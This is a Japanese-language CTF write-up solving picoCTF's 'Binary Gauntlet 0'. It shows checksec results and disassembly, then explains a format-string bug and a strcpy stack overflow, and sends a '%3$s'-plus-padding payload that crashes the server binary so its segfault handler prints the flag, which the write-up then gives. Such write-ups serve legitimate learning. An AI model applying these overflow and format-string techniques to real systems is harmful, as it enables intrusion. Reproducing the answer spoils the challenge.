Binary Gauntlet 0 (Binary Exploitation)
This series of problems has to do with binary protections and how they affect exploiting a very simple program. How far can you make it in the gauntlet? The flag for this challenge does not include the standard picoCTF{} wrapper. gauntlet nc -v wily-courier.picoctf.net 50426
添付ファイル
・gauntlet
とりあえず、実行してみる。
$ nc -v wily-courier.picoctf.net 50426
Connection to wily-courier.picoctf.net (18.189.99.27) 50426 port [tcp/*] succeeded!
%p
0x401c6260
fsbとbofがありそう。
gauntletを確認する。
$ file gauntlet
gauntlet: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a5c4ce8cddd5ece25b706af8d250134c3f70467c, not stripped
$ checksec gauntlet
[*] '/home/colza/gauntlet'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
main関数とsigsegv_handler関数のアセンブリは以下の通り。
00000000004008c7 <sigsegv_handler>:
4008c7: 55 push rbp
4008c8: 48 89 e5 mov rbp,rsp
4008cb: 48 83 ec 10 sub rsp,0x10
4008cf: 89 7d fc mov DWORD PTR [rbp-0x4],edi
4008d2: 48 8b 05 e7 07 20 00 mov rax,QWORD PTR [rip+0x2007e7] # 6010c0 <stderr@GLIBC_2.2.5>
4008d9: 48 8d 15 00 08 20 00 lea rdx,[rip+0x200800] # 6010e0 <flag>
4008e0: 48 8d 35 e1 01 00 00 lea rsi,[rip+0x1e1] # 400ac8 <_IO_stdin_used+0x8>
4008e7: 48 89 c7 mov rdi,rax
4008ea: b8 00 00 00 00 mov eax,0x0
4008ef: e8 8c fe ff ff call 400780 <fprintf@plt>
4008f4: 48 8b 05 c5 07 20 00 mov rax,QWORD PTR [rip+0x2007c5] # 6010c0 <stderr@GLIBC_2.2.5>
4008fb: 48 89 c7 mov rdi,rax
4008fe: e8 9d fe ff ff call 4007a0 <fflush@plt>
400903: bf 01 00 00 00 mov edi,0x1
400908: e8 c3 fe ff ff call 4007d0 <exit@plt>
000000000040090d <main>:
40090d: 55 push rbp
40090e: 48 89 e5 mov rbp,rsp
400911: 48 81 ec 90 00 00 00 sub rsp,0x90
400918: 89 bd 7c ff ff ff mov DWORD PTR [rbp-0x84],edi
40091e: 48 89 b5 70 ff ff ff mov QWORD PTR [rbp-0x90],rsi
400925: bf e8 03 00 00 mov edi,0x3e8
40092a: e8 61 fe ff ff call 400790 <malloc@plt>
40092f: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax
400933: 48 8d 35 92 01 00 00 lea rsi,[rip+0x192] # 400acc <_IO_stdin_used+0xc>
40093a: 48 8d 3d 8d 01 00 00 lea rdi,[rip+0x18d] # 400ace <_IO_stdin_used+0xe>
400941: e8 7a fe ff ff call 4007c0 <fopen@plt>
400946: 48 89 45 f0 mov QWORD PTR [rbp-0x10],rax
40094a: 48 83 7d f0 00 cmp QWORD PTR [rbp-0x10],0x0
40094f: 75 16 jne 400967 <main+0x5a>
400951: 48 8d 3d 80 01 00 00 lea rdi,[rip+0x180] # 400ad8 <_IO_stdin_used+0x18>
400958: e8 d3 fd ff ff call 400730 <puts@plt>
40095d: bf 00 00 00 00 mov edi,0x0
400962: e8 69 fe ff ff call 4007d0 <exit@plt>
400967: 48 8b 45 f0 mov rax,QWORD PTR [rbp-0x10]
40096b: 48 89 c2 mov rdx,rax
40096e: be 40 00 00 00 mov esi,0x40
400973: 48 8d 3d 66 07 20 00 lea rdi,[rip+0x200766] # 6010e0 <flag>
40097a: e8 e1 fd ff ff call 400760 <fgets@plt>
40097f: 48 8d 35 41 ff ff ff lea rsi,[rip+0xffffffffffffff41] # 4008c7 <sigsegv_handler>
400986: bf 0b 00 00 00 mov edi,0xb
40098b: e8 e0 fd ff ff call 400770 <signal@plt>
400990: b8 00 00 00 00 mov eax,0x0
400995: e8 16 fe ff ff call 4007b0 <getegid@plt>
40099a: 89 45 ec mov DWORD PTR [rbp-0x14],eax
40099d: 8b 55 ec mov edx,DWORD PTR [rbp-0x14]
4009a0: 8b 4d ec mov ecx,DWORD PTR [rbp-0x14]
4009a3: 8b 45 ec mov eax,DWORD PTR [rbp-0x14]
4009a6: 89 ce mov esi,ecx
4009a8: 89 c7 mov edi,eax
4009aa: b8 00 00 00 00 mov eax,0x0
4009af: e8 8c fd ff ff call 400740 <setresgid@plt>
4009b4: 48 8b 15 f5 06 20 00 mov rdx,QWORD PTR [rip+0x2006f5] # 6010b0 <stdin@GLIBC_2.2.5>
4009bb: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8]
4009bf: be e8 03 00 00 mov esi,0x3e8
4009c4: 48 89 c7 mov rdi,rax
4009c7: e8 94 fd ff ff call 400760 <fgets@plt>
4009cc: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8]
4009d0: 48 05 e7 03 00 00 add rax,0x3e7
4009d6: c6 00 00 mov BYTE PTR [rax],0x0
4009d9: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8]
4009dd: 48 89 c7 mov rdi,rax
4009e0: b8 00 00 00 00 mov eax,0x0
4009e5: e8 66 fd ff ff call 400750 <printf@plt>
4009ea: 48 8b 05 af 06 20 00 mov rax,QWORD PTR [rip+0x2006af] # 6010a0 <stdout@GLIBC_2.2.5>
4009f1: 48 89 c7 mov rdi,rax
4009f4: e8 a7 fd ff ff call 4007a0 <fflush@plt>
4009f9: 48 8b 15 b0 06 20 00 mov rdx,QWORD PTR [rip+0x2006b0] # 6010b0 <stdin@GLIBC_2.2.5>
400a00: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8]
400a04: be e8 03 00 00 mov esi,0x3e8
400a09: 48 89 c7 mov rdi,rax
400a0c: e8 4f fd ff ff call 400760 <fgets@plt>
400a11: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8]
400a15: 48 05 e7 03 00 00 add rax,0x3e7
400a1b: c6 00 00 mov BYTE PTR [rax],0x0
400a1e: 48 8b 55 f8 mov rdx,QWORD PTR [rbp-0x8]
400a22: 48 8d 45 80 lea rax,[rbp-0x80]
400a26: 48 89 d6 mov rsi,rdx
400a29: 48 89 c7 mov rdi,rax
400a2c: e8 ef fc ff ff call 400720 <strcpy@plt>
400a31: b8 00 00 00 00 mov eax,0x0
400a36: c9 leave
400a37: c3 ret
400a38: 0f 1f 84 00 00 00 00 nop DWORD PTR [rax+rax*1+0x0]
400a3f: 00
SIGSEGVを利用してグローバル変数のflagを出力させる。
sigsegv_handler関数では、fprintf関数の第1引数にstderr、第2引数に書式文字列、第3引数にflagを渡しており、その後fflush関数でstderrを出力している。
fprintf(stderr, format string, flag);
fflush(stderr);
flagを%3$sで出力させる。main関数にはfgets関数が2つあり、どちらを使っても良い。
今回のペイロードは、%3$s+paddingとした。(%s%s%s+paddingでも良い。)
実行する。
$ nc -v wily-courier.picoctf.net 50426
Connection to wily-courier.picoctf.net (18.189.99.27) 50426 port [tcp/*] succeeded!
%3$saaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
71bbdaa44c97043cfcb1cc1bc5032cf6
フラグが得られた。
71bbdaa44c97043cfcb1cc1bc5032cf6
ちなみに、ただ108bytes以上のデータを書き込めばフラグが得られる。また、ローカルで試した際は%s%sだけでフラグが得られた。とにかく、何らかの方法でSegmentation faultを起こせば良い。